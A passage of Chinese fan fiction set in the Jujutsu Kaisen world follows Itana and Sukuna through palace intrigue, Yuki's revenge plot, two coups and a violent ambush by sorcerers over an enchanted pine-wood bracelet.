皇帝命令宫人:“给我好好招待我的大臣!以及我的这位大臣带来的女子!”
宫女在前面领路,宿傩和伊田奈跟在后面。
安倍堇业跟随在队伍的末尾,他话不多,态度谨慎恭敬。
离开时,皇帝还深深拍了拍他的肩膀,眼神意味深长。
安倍堇业很受皇帝器重。
伊田奈站在宿傩身侧一步远的位置,二人距离很近。
伊田奈稍微落后一步,宿傩便会颦眉停下脚步,等待伊田奈跟上。
他走得很慢。
做工精美雕花宫灯分布在小路边上,走廊曲折蜿蜒,飞檐翘壁,雕梁画栋,其中不少色彩艳丽繁复的图案伊田奈都曾在博物馆见过。
伊田奈深深打量其中好几个眼熟的图案。
这时候的家乡很繁华,和从前一样。
不容伊田奈细细深究,住处到了。
安倍堇业不知何时转到了队伍前方,一双眼睛笑眯眯的,眯成一条缝,“此处名为吡咯院,从前无人居住,如今是大人与姑娘的休息之处。”
“衣食住行,这些小人已经打点好了。倘若有不周之处,随时可以来寻小人。”
“今上陛下非常器重大人。从前哪怕是世家勋贵,想要入住这处院子,今上殿下都咬死了不肯同意。倘若大人以后飞升,还望大人莫忘了小人今日引路,提携提携小人。”
安倍堇业此人极其狡猾谨慎。伊田奈照例用金银打点上下,唯有安倍堇业此人无论如何都不肯收下金银。
四下人都散开,只余下伊田奈和宿傩两人在房间。
宿傩像是没有骨头,浑身瘫软靠在床榻上,没个正形。
伊田奈坐在宿傩身侧休息。
粗糙锋利指尖把玩乌黑柔顺秀发。
女子头发握在手中滑溜溜的,带着丝丝凉意,抚摸发尾时会粗糙扎手,挠痒痒似的。
伊田奈回眸,宿傩神色懒倦。
“真没想到,你也有当忠臣的一天。”伊田奈感慨。
“哼——”宿傩轻嗤一声,“忠臣?天真。”
当利刃强劲到没有任何人能与之为敌时,便不会为任何人所用。
宿傩只会做那把利刃。
他不会为任何人所用。
一抹嘲讽很快从宿傩眼底划过。
宿傩很受皇帝重视。无论多忙,每日皇帝都会抽出时间接见这位英勇的大臣,说些嘘寒问暖的话,给他留下一些困难的任务。
他这位英勇忠诚的大臣没有让他失望。无论任务多难,都会出色完成。
……除了脾气不好。
但这是在皇帝的接受范围之内。
伊田奈在宫中闲得没事,因宿傩是皇帝面前炙手可热的人物,宫中之人连带着对她这位宿傩身边之人多了几分敬重。
从不敢刁难,更不会使绊子。
伊田奈身边的人都很有分寸感。
朱红色雕花走廊廊角转过一抹倩影,薄纱被风扬起。
那人走得匆忙,背影有几分慌乱,似乎瞧见了什么洪水猛兽。
伊田奈认得那背影。
由纪不想与她相认。
“前面那人是谁?”伊田奈状似不经意间问。
“回姑娘,那是丽贵妃,今上最宠爱的娘娘。”宫女福身。
丽贵妃?
伊田奈皱了皱眉,这称号与由纪的气质一点都不像。
叫什么纯贵妃、臻贵妃她都能理解。怎么会叫丽贵妃?
伊田奈侧敲旁击,从宫人嘴里得知一些丽贵妃的往事。
丽贵妃前两年进宫,因外貌出众独得皇帝青睐。只可惜丽贵妃此人为人清淡高傲,不懂得周旋迎合皇帝,失了恩宠,众人都当丽贵妃只怕湮于后宫。
谁成想不过两月,丽贵妃后花园一场薄纱舞重新赢得皇帝宠爱,只是她性格大变,不仅懂了曲意迎合,还动辄打骂手底下的人,穿衣风格更是换了个人。
夜里,伊田奈平躺在加厚床垫上,问宿傩:“你还记得之前有个叫由纪的姑娘吗?”
宿傩换了一身月牙色里衣,腰线挺拔,腹部六块腹肌曲线分明,手臂结实有劲。
他
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神色懒倦,眼睛半睁着,两只手枕在头下,另外两手把玩伊田奈头发。
闻言,宿傩摇了摇头,满不在乎,“旁人与我何干?”
“也是,你肯定不会在意。”伊田奈轻轻敲了敲大腿,“与其在这里思考,不如去问个明白。”
伊田奈转头,“妖怪大人,你快把外衣穿好,我们出去一趟!”
“出去?”宿傩手上动作一顿,懒懒道:“出去做什么?”
“妖怪大人,就陪我去一趟吧!”
“不去。”宿傩义正言辞拒绝。
夜色昏黑,宿傩揽着伊田奈的腰,避开巡逻侍卫,朝由纪住所走去。
听宫女说,由纪今晚不侍寝。
宿傩落到房顶,小声道:“人类,你疯了。”
大晚上不睡觉为了个没什么联系的人翻墙。
当真是疯了。
伊田奈小声讨好:“辛苦妖怪大人了!”
伊田奈弯腰,鬼鬼祟祟朝屋里瞧。
屋里点了好几盏油灯,除了香肩半露、伏在桌上不知写着什么的由纪,没有宫女服侍。
伊田奈慢慢站起身:“妖怪大人,我要进去。”
粉色瞳孔闪现淡淡无奈,高大男人还是点了点头。
不远处草丛似乎动了一下。
“谁在那?”守夜宫女叫了一声,朝发出声响那一处走去。
“喵!”一只大肥猫在草地里打滚。
“原来是你这家伙,我还当是谁,吓我一跳。”宫女逗弄小猫一会儿,回去接着守夜。
伊田奈绕过帷帘,定定看伏在案上的娇弱女子。
“你不该来的。”女子握笔动作一顿,写完最后一个字,把毛笔横放回去,涂满红色豆蔻的玉指拢了拢肩上歪歪斜斜的薄纱,肩膀白皙嫩滑,隐隐可以瞧见里头火红色肚兜。
单是背影,就很难和从前镇上的由纪联系起来。
“恩人……”由纪声音里有明显的迟疑,她转过身,眼里闪过一瞬迷茫,很快迷茫消失殆尽,“恩人又能怎么样?我以为我装作不认识你,你应该就不回来了。”
伊田奈不知道由纪经历了什么,莫名觉得心头有点空落落的,长吸一口气,“由纪,我之前劝过你,皇宫不是个好地方。”
伊田奈试图把眼前举手投足尽是妩媚的女人同当初将她抵在巷子里道谢的少女联系起来。
片刻,伊田奈摇摇头,“你要是有什么难处,我可以帮你?”
“恩人,由纪没有难处。”由纪摇头,“人都会变,何况是在皇宫这种地方。皇宫不是好地方,可由纪在这里呆了多年,早已经在这里混得如鱼得水。恩人不是瞧见了吗?由纪现在过得很好。”
由纪妩媚一笑,“恩人的大恩大德,由纪铭记在心,只求恩人莫要让人知晓恩人今日来了此处,更不要让人知晓,由纪与恩人从前相识。如此,由纪便感激不尽了。”
“你……当真不说?”
“恩人,由纪过得很好。”
“罢了,以后若是你有什么难处,尽管来找我便是了。”
伊田奈转身,临走前深深瞧了一眼由纪桌面上未干的墨痕。
尽管由纪用袖子挡住了,伊田奈依旧能看到部分字迹。
16. 变天
“见完了,该休息了?”宿傩偷偷摸摸带着伊田奈回了住处。
不理解为什么人类做事情不能光明正大去做,明明有他撑腰,是不敢?
宿傩一只手托住下巴陷入沉思。
“见完了,该休息了。”伊田奈顺着宿傩话说,脑子里想的却是由纪案几上未干的墨渍。
宿傩的宫廷生活十分顺遂,要疯得疯,要雨得雨。倘若不是皇帝自己坐在那个位子上不肯下来,只怕还要将自己身上那身黄色衣服脱下来送给宿傩。
谄媚至极。
宿傩这边如此,另一边可就不高兴了。
朝堂之上,近日人心惶惶。进谏皇上的人不过两天便会横死在家中,在背后悄悄刁难皇上的人同样没能善终。
民间有歌谣传称,今上大人得了神仙庇佑,是天佑之人,福泽匪浅,所有反对今上大人的人都会受到天谴,给自己和家族带来连绵不绝的祸事。
一开始,朝中部分大臣被这个理由唬住,做事束手束脚,不敢放开手。家中养有幕僚门人的家族很快反应过来。
那有什么天选之人,不过是人为罢了。
只是要查出幕后之人及其底细,还要费一番功夫。
伊田奈恍恍惚惚,正要睡着时,身旁宿傩慢条斯理理了理衣袖,半坐起身,粉红色双眸充满刺眼寒意。
“怎么了?”伊田奈声音沙哑,努力睁开眼睛。
“没事,你先休息。”宿傩起身,拿起外袍套在身上,气色阴沉出门。
伊田奈难得有耐心,强撑睡衣,从床上爬起来,呆坐地上,两眼发懵,看着宿傩出门。
一炷香时间还没过,宿傩慢悠悠揣着手回来。
宿傩推开门,伊田奈打了个激灵,顿时睁眼。
宿傩皱眉:“不是让你先休息?”
伊田奈打了个哈欠,“你动作快,等你一会儿。今晚是怎么回事?”
“不过是一群杂碎。”宿傩说得轻巧,“想取我的性命,他们还不够资格。”
就这样来了好几拨人,这几拨人全都折在宿傩手中。
慢慢的,朝中那些对皇帝心有不满的人不敢再派人过来,一个二个全都夹紧了尾巴做人。
皇帝自认为有了宿傩这个忠诚的大臣,整日里耀武扬威。
甚至不惜要花费大代价来建造陵墓,死后长眠住所。
据说,地宫墙砖这老头子都打算用黄金来做。
伊田奈听闻,暗骂这皇帝蠢货。
建造黄金陵墓都敢摆到台面上来说,到时候尸体在哪都得哭着找。
有不知死活的官员特地打听伊田奈的行踪。
在伊田奈出门时,碰巧出现在伊田奈面前,先是搞出古怪动静吸引伊田奈注意力,接着一撩长袍,跪在地上痛哭流涕。
“神仙姑娘,倭国历来从未出现过如此荒诞之事,在下深知姑娘乃忠义之士,救救倭国!救救倭国的子民吧!”
“神仙姑娘,倭国百姓接受不了这样的铺张浪费啊!”
“神仙姑娘,倘若不是没有办法了,在下真的不会走到这一步啊!”
……
也有性格极端之人,或是在远处指槐骂桑;或是直接堵在伊田奈面前,破口大骂。
对于哭闹的人,伊田奈总是多了一份怜悯之情,耐心听对方哭完,末了补上一句“谁知道呢?神仙姑娘也不过是凡人说出来的,她也没什么办法。”
说完,哭闹的人本来都已经哭干了泪,再哭不出来。
听闻此言,硬生生气得吐血,不知从何处挤出几滴泪。
前来叫骂的人,伊田奈笑眯眯听对方骂完。
对方说不上话了,伊田奈高兴拍手,“骂得好!骂得妙!我就喜欢听这样的夸奖,你若还有什么没说出口的,或者还有什么朋友想骂我,统统都到我跟前来骂!”
夸完一通,伊田奈还叫人给叫骂之人几两碎银子。
此举气得不少自诩风流之人面红脖子粗,只差没一刀砍了伊田奈。
也有不长眼的,企图在宿傩不在伊田奈身边时亦欲行刺。
可那四臂四眼之人不知是干什么吃的,往往行刺之人还没近伊田奈五米,便被不知从何处出现的宿傩直接取了心脏。
当真是铜墙铁壁!
伊田奈在宫中也成为众多人避讳的人,说的是“观音容貌,蛇蝎心肠”。
朝中暗流涌动,后宫也不简单。
丽贵妃重获盛宠以后,一日比一日受到的恩宠还要多。
绫罗绸缎,钻石珠宝流水一般送入丽贵妃宫中。
尤其是近日,丽贵妃有孕了一事在宫中传遍了。她在宫里的地位更上一层楼。
月黑风高,竹影稀疏。
“妖怪大人,小声点!别出声”伊田奈拉起宿傩手,闪入拐角,踮起脚尖,凑在宿傩耳边说。
宿傩压了压嘴角,抿成一条直线。
荒废小院,穿着标准制服铠甲的高大男人在院中踱步,眉间拧成一团。
不久,来了个穿着黑色斗篷的女人,女人拢了拢斗篷,捂得严严实实。
“都说了,我们不要再见面了。”女人开口。
伊田奈几乎瞬间便认出了声音。
是由纪。
穿铠甲制服的男人像是忍耐已久,紧紧抱住由纪,“我好想你!由纪,你和我走吧!我什么都可以不要!”
由纪挣脱男人怀抱,背过身,“我说了,这是我最后一次来见你。”
“你不要再说这样的话,要是没有什么事情,我就先走了。”
男人眼里含泪。
伊田奈震惊,这男人看起来五大三粗,没想到竟然直接猛男落泪。
宿傩看了一眼就没眼看,打心底瞧不起这种行为。
窝囊——
“我有事。”男人拉住由纪手腕,轻轻用力一拉,由纪倒在他怀里。
“由纪,你让我做的事情我会做,今日是我最后一次见你,我能……最后再亲亲你吗?”
男女相拥在一起,水声、呼吸声纠缠成一团。
事毕,由纪先行一步走了,男人在原地仔细检查一遍,方才离开。
一个宫女从墙角转出,伊田奈拉着宿傩堵在宫女面前。
宫女认得宿傩伊田奈威名,转身就跑。
一枚银针划破空气,直直刺入宫女心脏,伤口微不可查,一滴血都没有。
枯败宫殿内有一口荒废水井,水井杂草丛生。
“听说了吗?前几日有个宫女在冷宫里投井自尽了,死状凄惨。”
“什么,是那个宫的宫女这么想不开?”
“嘘,是华贵妃宫里的人。”<
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p>“华贵妃?怎么可能!华贵妃平日里待人那么好,怎么会做出这种事情?”
“这些我们做奴婢的人怎么会知道?不过这夜阴森森的,倒是叫人害怕。”
穿着精细料子,打扮精致的宫女打着灯笼走过。
假山后,由纪提一盏精致莲花灯绕出。
月色衬得由纪五官异常标志。
由纪眸色沉了沉,没想到那日竟还有尾巴在身后。
“回宫。”
身后两个宫女恭敬跟上由纪。
不过一月时间,宫里发生了一件大事。
华贵妃的母家被满门抄斩,株连九族。华贵妃整日跪在皇帝寝宫门口以泪洗面,皇帝也没心软半分。
“华贵妃娘娘可是生了三位皇子,两位皇女呢!”
“对啊,皇上怎么如此狠心,到底是少年夫妻,一路走来的呢!”
“诶,我们这些犯人怎么会知道这些事情呢?”
宫人纷纷议论这件事。
不止宫人感到震惊,朝堂上纷纷劝谏此事。
华贵妃生母乃是世家大族,根系复杂,在朝为官者众多。
只因为华贵妃害丽贵妃难产,便要株连九族,当真残暴。
皇帝在朝堂上狠狠摔下上奏奏折。
“怎么?你们一个二个都要反了不成?这是我的天下还是你们的天下?!华贵妃此人居心叵测。不仅害了我与丽贵妃的孩子!竟然企图篡位!我先前不说,是为了给华贵妃留几分薄面,你们呢?纷纷都来逼我!”
皇帝在朝堂上气晕过去。
期间醒了一回,只要丽贵妃在前伺候,其余人谁都不要。
丽贵妃衣不解带守了守了整整三日,皇帝方才转醒。
伊田奈在院子里嗑瓜子,周围的宫女侍卫都被她打发出去纷纷在外,休息的休息,做事的做事。
宿傩今日换上了一身崭新玄色和服,与头顶上的粉红色毛发交相辉映,意外和谐。
宿傩不喜欢嗑瓜子。
那玩意儿太小,还不够塞牙缝。
伊田奈让侍卫把躺靠用的美人榻搬到院子里,宿傩躺在上面,懒洋洋眯着眼,一动不动晒太阳。
“妖怪大人,你说,要几天才能闹起来?”
“和我有什么关系。”宿傩眼睛都不眨一下,要不是伊田奈开口,连嘴都不想张。
“算了,到时候看。”伊田奈伸了个懒腰。
不过一月,皇帝突然暴毙在宫中。经宫中侍卫查明,罪魁祸首乃是丽贵妃。
丽贵妃乃是前朝余孽留下来的遗孤,蛰伏多年只为祸乱朝纲。
伊田奈听到这条消息时,笑得眼泪都出来了。
都说她不是个好人,可如今看来,她简直是好人中的好人。
丽贵妃被关入死牢,华贵妃生下的大儿子在世家支持下登上王位。
一夕之间,皇城变天。
死牢。
“姑娘,就在前面,小的先退下了。”看守守卫退下。
宿傩威名远扬,东京之内谁人不知,谁人不晓,没人敢得罪他。
地牢潮湿阴森,关押犯人大多穷凶恶极,罪无可恕。
由纪身上破破烂烂,脸上还有泥渍,抱着手蹲在墙角。
她是单间。
“要我救你吗?”伊田奈问。
17. 围剿
“不用。”由纪摇头,“恩人,你是好人。我不值得。”
由纪在大牢中,眼神不复往日妩媚,多了几分平静恬淡。
“在我这里,只有想不想,没有值不值得。”伊田奈盯着由纪的眼睛,问:“把握大吗?”
由纪蹲在矮小牢房小小一角,看上去瘦瘦小小。
“会成功的,恩人。”她眼里闪着兴奋的亮光,“他们都会死。”
伊田奈离开地牢后不过一日,死牢不慎失火,烧死许多要犯。
丽贵妃便是其中之一。
隔日,已是太后娘娘的华贵妃闻之大怒,摔碎了好几套昂贵的瓷器。
“那个贱人怎么可能就这么轻易地死了?活要见人,死要见尸!你们都给我去找!”
尸体被烧得面目全非,其中一具尸体手里攥着只有丽贵妃才有的玉器,腰侧也只有丽贵妃才有的蝴蝶形胎记。
所有人都认为这是丽贵妃,他们不认为丽贵妃有瞒天过海的本事。
她只是个从乡下来的姑娘,能够有什么本事。
只有太后娘娘不肯相信。
“找!你们都给我找!盯紧东京城内的一举一动,那个贱人绝不会善罢甘休!她可是有本事得很呐!”
太后疯了,为了找丽贵妃,甚至不惜派人找到伊田奈这处。
“你与那贱人都是从同一个地方来的,怎么会没有联系?”宫女传达太后原话。
前来兴师问罪的人全都被宿傩阴沉气场赶了出去。
“要是不怕死,你们尽管来试试。”高大凶恶的男人堵在门口,没有一个人敢靠近,纷纷吃了闭门羹。
“妖怪大人,我总觉得东京这段时间太安静了,像是要有大事发生。”自从传来丽贵妃死讯,伊田奈总是觉得心跳得很快,像是缺了一块,有时心跳速度过快,又像是要从心间直接跳出来。
“不用担心,我会保护你。”宿傩说。
“不,我还是觉得不安心,再过段日子我们离开东京吧。”伊田奈摇头,还是想离开。
“行。”
宫里就这样安静了差不多半月,这半月,新君登基,每日都是不尽杀戮。
杀谋反他的臣子,做事马虎的宫女,毛毛躁躁的侍卫。
他比起上一个皇帝更嗜血、残暴、好色。从民间肆意搜罗漂亮的宫女。
这一个皇帝比上一个皇帝更谄媚,给宿傩无尽的财宝权力,只希望宿傩能够帮他杀光所有忤逆他的人。
是一个彻彻底底的暴君。
有人求到伊田奈面前:“你难道要眼睁睁看着那么多清流大臣死在那个魔鬼的爪牙之下?!”
伊田奈波澜不惊:“死就死了,今日不死,明日也会死,死在谁的手底下重要吗?”
那人痛哭流涕,一头撞死在伊田奈面前的圆柱上。
血溅三尺。
伊田奈擦了擦下巴上的血迹,头也不回走了。
十月的一天晚上,伊田奈门前不知何时多了一封信,信上画着两只老母鸡和两个小女孩。
伊田奈捡起信,读过一遍,借助蜡烛燃了那封信,信化作灰烬。
宿傩进门,鼻子动了动,“你烧东西了?”
伊田奈点了点头,“没什么重要的。”
“明天你有什么事情吗?我要出去转转,和我一起?”她问。
“好。”宿傩毫不犹豫就答应了。
隔日,皇宫出现政变。
洗衣婢女生下的十三子发动政变,内廷侍卫首领叛变,皇帝还没上任一个月,就死在了刀下。
太后娘娘一根白绫自缢身亡。
宿傩带着伊田奈回去的时候,到处都乱糟糟的。
尸横遍野,血流成河。
伊田奈在一位宫女引荐下见到了由纪。
她又穿上了在镇上见到时才会穿上的粗布麻衣。身边站着在冷宫时撞见的男侍卫。
男侍卫很高,眼睛有点小,眯成一条缝,皮肤白净,还算眉清目秀。
要是伊田奈没猜错,这应该就是侍卫首领。
这一次,由纪脸上多了几分真心的笑。
“恩人,谢谢你。如果不是你,我真不知道怎么办才好!”由纪跪到地上,磕了个头,才站起身。
“我进宫之后才发现被骗了,那宫人明明跟我说皇上是个和我年纪相仿的少年,谁知道竟然会比我爷爷年纪还大。他很喜欢我,我却不喜欢他……”
由纪没有想到心慕已久的少年天子竟然会是这样一个人,进宫当日便害怕的想要跑出去。
可被巡逻的宫女抓住了。
是侍卫首领帮她从管事宫女手中逃脱。
可是由纪也不得不回到这可怖的皇宫。
皇帝很喜欢她,日日宠幸,由纪整日以泪洗面。久而久之,得到皇帝的厌倦。
本以为能够借此金蝉脱壳,与侍卫首领私奔。谁知道华贵妃竟然因为由纪一个出身山野的姑娘受宠,感到妒忌,一怒之下杀了由纪安置在外的妹妹和母亲。
她们死的那日,妹妹因为貌美被华贵妃的儿子养在一处院子中。
华贵妃知道后,把由纪妹妹丢到烟花巷活活累死。
由纪怎么可能接受母亲和妹妹的死讯。
她拒绝和侍卫首领私奔,留在宫中,便是为了报复皇帝,华贵妃,这一切害死她亲人的人!
于是亲手策划了这场复仇。
由纪要华贵妃知道,哪怕是山村乡野出身,也不是华贵妃能够轻易杀人的理由。
“恩人,你看,我做到了,我为母亲和妹妹报了仇!”由纪流泪,“从前是怕牵连到你,如今没了羁绊,才敢把这些宣之于口。”
“恩人,要是我当初听信你的话多好,不逞强,没有来到东京多好!只可惜一切没有如果。我讨厌东京,这地方太繁华了,不适合我。我要走了,我要和他一起走了。”由纪转眼看身旁侍卫首领,“七郎愿意放下一切,同我离开,我们俩自此山高水长,以后再也不会踏入东京一步。”
“希望恩人以后事事顺心,所愿皆能有所偿!”
由纪携着七郎的手离开。
伊田奈感慨:“妖怪大人,我们也是时候走了。”
没有管喧嚣的皇宫,伊田奈拉着宿傩,收拾了最值钱的金银财宝离开。
离开前,安倍堇业突然笑眯眯出现。
“大人,姑娘,皇宫不好吗?”他问。
宿傩懒洋洋朝前扫了一眼,满不在乎,他从未把安倍堇业放在眼里。
伊田奈道
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:“不喜欢,想换个地方住。”
安倍堇业笑着点点头:“大人真的不考虑与小人共谋,做出一番事业?”
安倍堇业此时像一只狡猾的狐狸。
宿傩道:“没兴趣。”
安倍堇业不肯放弃,脸上表情逐渐狰狞可怕:“我的身后可不止我一个咒灵!况且大人,你真的要与这些人类为伍?他们虚妄、贪婪、懦弱!为什么不和我们一起呢?一起杀光他们!完成我们的大业!”
“大业?”宿傩脸上终于有了一丝变化,从淡漠变成赤裸裸的嘲讽,“你凭什么认为我要帮你?同类?呵……我不在乎。”
“你会后悔的!”
“我等着……”宿傩勾勾唇,拉着伊田奈向前。
快到城郊时,宿傩的脚步突然顿下。
揽住伊田奈停在一棵树上。
“出来。”低沉浑厚的声音响彻天空。
高大的男人站在树巅,睥睨四周,粉红色的头发随风飘扬。
伊田奈折腾一下,立住脚:“怎么了,妖怪大人?”
“不论发生什么,我都会保护你的。”宿傩沉声。
伊田奈从中听到了不同寻常的意味:“是发生了什么事情?”
话音未落,以宿傩为中心,密密麻麻的人如同蚂蚁一般,成圆形包围住宿傩。
“还不束手就擒吗?”为首那人白胡子白发,年纪苍苍,“你们这一对妖孽祸害我倭国不知多少人!如今人人得而诛之!”
成千上万人同时施展威压,阴森森注视宿傩。
宿傩全都扛了下来,面不改色,“要打就打,废话真多。”
面对如此情景,被困在中间的男人竟然还笑了出来,那白胡子老者眸色沉了几分。
伊田奈两只眼睛瞪大,开口时声音沙哑,胸口传来闷雷般疼痛,“你……为什么在这里?”
只见才道别不久的由纪,如今一脸冷漠出现在白胡子老者身边。
闻言,由纪向前走了一步,“恩人,没有永远的恩情,只有永远的利益。”
“我和七郎,有迫不得已的苦衷,我们要离开,必须得交投名状。”
“哈哈哈……”伊田奈气笑了,用手扶着自己的额头,好半天才缓过气,“所以,你在卧房里写着的超度经文,是故意留给我看的,华贵妃的丫鬟,是你故意留下,你之所以那么晚动手,是为了把我们留下……”
伊田奈嗤笑自己,竟然会在这么一个小姑娘手上栽跟头,“由纪,事到如今了,你还要骗我吗?”
由纪顿了顿,在白发老者示意下开口:“恩人,投名状投的不是离开,是加入。”
加入咒术师的行列,得到咒术师的庇佑。
几乎瞬间,伊田奈想起随在雪地里的醉汉,跪着求她放过的咒术师,“由纪,你当真以为咒术师都是些好东西?”
由纪笑着不说话。
伊田奈问:“那你妹妹呢?你母亲?她们都是假的?”
由纪答:“是真的。也正是因为如此,由纪才明白,谁都靠不住。”
伊田奈手心攥成一团,隐约可以看见当初醉汉留给她的松木手串。
白发老者定睛一看,脸色瞬间大变,质问道:“妖女,你手腕间那是什么?!”
18. 第一卷结束!
伊田奈抬手,低头,松木手串散发淡淡清香,和白皙的手腕几乎融为一体。
伊田奈勾了勾唇,抬起手腕展示戴在手腕上的松木手串,挑衅看着老者:“这是什么?好难猜啊,不会是你们的宝贝吧……”
全场的人都注意到戴在少女手上的手串,有的人两眼睁圆、难以置信,有的人不以为意,还有人则是什么都不关心。
“你这妖女,竟然抢夺岸然师兄的宝贝!当真是罪无可恕!”白毛老者怒骂,“昔日安然师兄离开东京前去拔除咒物,原来是被你这妖女给谋害了!”
原来雪地里的醉汉是这老者的师兄。
伊田奈挑眉,两只眼睛瞪圆,睫毛浓密狭长,衬得眼睛水灵湿润,她皮肤白皙,面容和善。尤其是在笑起来时,当真如同神仙一般,有种悲悯世间之感。
所以,哪怕她性格冷漠,不近人情,还是得了个“观音容貌,蛇蝎心肠”的称号。
此刻,粉衣少女立在树巅笑眯眯的,看起来当真是个不谙世事的少女。
伊田奈晃悠手中的松木手串,故意在所有人面前展示,“真可惜!这松木手串可不是我抢来的,是你们名门正派的人亲手送给我的!说来也是凑巧,明明你们这群咒术师也从他身边路过,他也拉住了其中一个人的腿,求他们帮忙捡起他的酒葫芦,可是没有一个人帮他。”
伊田奈不信那群监视他的咒术师,不信醉汉没有拉住他们中某个人的腿,没有向他们祈求,没有抱着最后一丝希望却绝望地选择离开。
“他们说,不过是一个倒在雪地里的醉汉。倭国每日不知要死多少人,帮了他有什么意义?还是我这个妖女,发了一把好心,替他捡了酒葫芦,找人给他下葬。这松木手串啊,就是他送给我的!”
此言一出,四周熙熙攘攘起来。
白胡子老者拄着手里的拐杖,骂道:“妖女,我岸然师兄最是尊崇正道。他这宝贝是他半生心血!乃是避除咒灵,护佑平安的好宝贝!哪怕是强大咒灵,也不一定能察觉到佩戴之人的气息!更不要说低等咒灵若是袭击,还会让自己粉身碎骨!”
老者话一出,全场哗然,看向伊田奈的目光炙热疯狂。
“若是有了这样的宝物,那以后拔除咒灵岂不是轻而易举的事情!”
“对啊!要是有这样的宝贝,以后岂不是能在咒术界横着走?!”
“我可不管,这样的宝物可不能轻易落入其他人手里!”
众人目光炙热滚烫,伊田奈顿时变成全场的香饽饽。
“瞧什么瞧?”伊田奈勾勾唇角,大摇大摆把手串藏到衣袖下面,“再怎么瞧,这东西也不会是你们的!这是我这妖女做好人好事挣得的!有本事你们也在大雪天给醉汉捡酒葫芦!”
话音未落,就有眼红之人冲上来,伸出双爪朝伊田奈手腕抓去。
还未近身,身体里就多了个血窟窿。
高大雄壮的男人手里多了几团团血红的、跳动的肉。
男人勾着唇角,殷红鲜血顺着指间滴落,落到松软的泥土,苍劲的树干,染红白色衣袍袍底。
他的眼里闪着嗜血的光,嚣张大胆。
宿傩立在树干上,宛如一堵高大的墙,挡住身后娇小的少女。
“就这点实力,就敢冲上来挑衅?”男人浑厚的声音传遍每一个角落。
伊田奈心头一沉,拉住宿傩袖子一角。
“对不起。”伊田奈很少会道歉,“要不是你,你也不会中计。”
“和你无关。”宿傩回头,眼神坚定,专一。
粉红色的瞳孔上清清楚楚倒映伊田奈的脸。
伊田奈摇头:“万一,我是说万一……你先走,不用管我……”声音到最后,几乎细若游丝。
“瞎说什么?”宿傩唇角抿起,用干净的手抬起伊田奈下颚,一脸轻松,“哈哈……从前还没见过你露出这种表情。”
伊田奈转悲为怒,一巴掌扇到宿傩手上:“什么时候了,你还说这些。”
“别害怕,我说了,我会保护你。”高大的男人露出一抹释然的笑,伸出手揽住伊田奈的腰。
伊田奈几乎是挂在宿傩腰间,隔着衣物感受到宿傩强劲有力的肌肉。
咒术师们借机似乎也商量了一圈,伊田奈隐约听到“谁要是拿下那咒物的首级,那串松木手串就归谁!”
这一次,咒术师们变换阵型,有组织进攻。
伊田奈都能感受到,这一次先出手的人实力明显弱于前一批。
一群人乌压压冲上来,前仆后继,杀了一个还会有另一个。
伊田奈提醒:“妖怪大人,他们是要玩拉锯战,让最弱的冲在前面,消耗你的体力。实力强的人留着等你体力耗尽再上。”
宿傩显然意识到这个问题,眉心渐渐拧紧,“我知道。”
砍瓜切菜一般,一个个冲上来的人被掏空心脏,尖叫落到地上。
一团团鲜红的、跳动的心脏像是垃圾一样,丢在四面八方。
冲锋的咒术师们露怯了。
“你们要是死了,你们的家人可是能够加入咒术师的行列,得到咒术师的庇佑,还会有数不清的补贴,你们可要想清楚!”后方不知是谁大叫一声。
所有人士气昂扬,红着眼朝前冲。
这一下,朝宿傩杀来的人多了一倍不止。
宛如密密麻麻的蚂蚁。
前方低等咒术师在前用血肉冲锋,后方咒术师们围作一团,不知道在密谋什么把戏。
宿傩杀红了眼。脸颊、头发、衣服渐渐沾染上血迹。
又杀了一个人,那人的血迹溅到伊田奈脸颊。
宿傩一怔,让一名咒术师近身,肩上多了一道尖锐的伤口。
宿傩面无表情取出那人的心脏,和伊田奈道歉:“抱歉,血溅到你身上……”
伊田奈没好气道:“现在都什么时候了,是你关心这些的时候吗?妖怪大人,能不能专心一点!沾点血有什么?”
宿傩没有说话,只是后来的一招一式,都让血滴落的方向避开伊田奈。
全场的人少了近乎一半,伊田奈除了脸颊处不慎被溅到了几滴血,身上其他地方干干净净。
地面上,树杈上,横七竖八挂着狰狞的尸体。
鲜血染红泥土、树叶,空气中漂浮淡淡的血
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腥味,这地方就像人间炼狱,阴森可怖。
宿傩轻轻喘了口气,脸上,衣服上到处都是血。
像是从地狱中爬出来的恶魔。
粉红色的瞳孔怪异兴奋。
宿傩杀红了眼。
“停!换阵!”后方咒术师们似乎已经商量好,为首的那几人分作几波站住。
手里拿着奇怪的道具,纷纷向天空中一件奇怪的东西注入咒力。
前方冲刺的低级咒术师退回后排,纷纷学着前排的人那样,输入咒力。
一道强劲的波浪横冲直撞,带起一股劲风,树叶沙沙作响,树木也跟着晃动几分。
还没长大的树苗,硬生生被这道劲风震碎。
宿傩想要靠近空中那凝聚咒力的物什,却被一道大力击退在地上,他嘴角吐出一口血。
“妖怪大人,你没事吧?”伊田奈被宿傩护在身前,除了感受到一点震动,什么都没感觉到。
“没事。”宿傩擦擦嘴角的血迹,从地上爬起来。
“你别管我了,自己走吧。”伊田奈顿了顿,眸色暗淡,想要扯开宿傩缠住她的那只手,留在地上,“你要是不带我,肯定能离开,你走吧。”
宿傩怎么可能松手,“我说过,我会保护你。”他站起来,面无表情扫视四周一圈,目光定在一处。
“你保护什么?保护自己不好吗?”伊田奈瞧得清楚,宿傩刚才一路向外厮杀,可对方围得太近了。
把宿傩围在中心,但凡宿傩杀出去一点,整个阵势都会随之变化几分。
宿傩一直被困在中间。
如今对方不知道是在做什么阵法,宿傩若是还不走,只怕当真会死在这里。
宿傩轻嗤一声,“说了会保护你,就一定会保护你。”
男人朝前冲去,杀了几个护在白发老者身边的人,马上就要朝白发老者袭击。
旁边几人停止输送咒力,就要朝宿傩袭击。
咒力一一取了他们的心脏,出其不意,朝反方向袭击而去。
这一去,就冲出一条长长的路。
“不好,他要走!”
“快拦住他!”
“你们这些人是怎么做事的!”
“快!”
宿傩充耳不闻,来一个杀一个,来一双杀一双。
所有挡在他面前的人都被杀得一干二净。
动作快到身边人还没看清楚,恍惚间自己已失去了性命。
宿傩杀到人群边缘,嘴角刚露出一抹笑,就见手腕处的人类瞪大双眼,“妖怪大人,小心!”
空中的物什迸发出刺眼的蓝光,蓝光直直朝着宿傩心脏冲击。
伊田奈不知哪里来的力气,竟然挣脱开宿傩的手臂,拉住宿傩衣角,翻身,挡在宿傩身后。
蓝光落到伊田奈身上突然停住,伊田奈身上冒出一层柔和的金光,她手腕处的松木手串发出亮光,带起一阵风,衣袖漂浮。
